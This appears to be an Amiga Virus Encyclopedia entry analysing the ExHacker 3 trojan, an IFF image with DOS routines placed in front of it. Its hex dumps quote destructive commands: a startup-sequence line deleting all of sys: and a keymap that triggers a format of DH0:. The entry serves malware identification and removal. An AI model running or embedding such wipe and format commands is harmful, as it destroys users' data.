ExHacker 3 trojan - Amiga Virus Encyclopedia

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     ------------------------    
     Amiga Virus Encyclopedia    
     ExHacker 3 trojan 
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     Name         : ExHacker 3 trojan

     Aliases      : Swifter

     Original     : -

     Type         : File/Trojan
     
     Size         : 106496 bytes (Unpacked)
                    215448 bytes (Packed with Imploder)

     Symptoms     : No Sypmtoms

     Discovered   : -

     Way to infect: Some DOS routines were placed in front of an IFF image.
                    These DOS routines have destruction functions

     Rating       : -

     Kickstarts   : 1.2
                    1.3
                    2.0
                    3.0

     Damage       : No corrupted vectors
                    No proliferation

     Visible text : -

     Comments     : In the unpacked file you can read: 
                    733a7374 61727475 s:startu 
                    702d7365 7175656e 63650063 3a646972 p-sequence.c:dir 
                    00633a63 6f707900 633a6564 00633a64 .c:copy.c:ed.c:d 
                    656c6574 6500636f 70792030 30332e64 elete.copy 003.d 
                    61742073 3a007265 6e616d65 20733a30 at s:.rename s:0 
                    30332e64 61742073 3a737461 72747570 03.dat s:startup
                    2d736571 75656e63 65003030 312e6461 -sequence.001.da
                    74204b45 594d4150 533a2022 22003030 t KEYMAPS: "".00
                    322e6461 74203030 302e6461 7400464f 2.dat 000.dat.FO

                    So a new startup-s. written, which contains a delete
                    function (effective only after a reset) L: 73 bytes:
                    64656c65 74652073 79733a23 3f20616c delete sys:#? al
                    6c0a3b20 7a786a62 676d6d6b 65757775 l.; zxjbgmmkeuwu
                    39333233 2c746e63 48414841 21204841 9323,tncHAHA! HA
                    48412179 62657476 63686564 74697469 HA!ybetvchedtiti
                    79726367 64220a0a 0a00 yrcgd"....

                    But!!! A new keymap is also activated, the keyboard
                    layout of which contains dangerous sequences. Lenght
                    : 1972 bytes:
                    5a020402 1a080122 01230124 4b455942 Z......".#.$KEYB
                    204b494c 4c45523a 204b4152 4c204552 KILLER: KARL ER
                    1d040521 464f524d 41542044 45564943 ...!FORMAT DEVIC
                    453d4448 303a204e 414d453d 31205120 E=DH0: NAME=1 Q

     Removal      : VirusZ III, with the new Xvs.library installed

     Test made by : Heiner Schneegold


     

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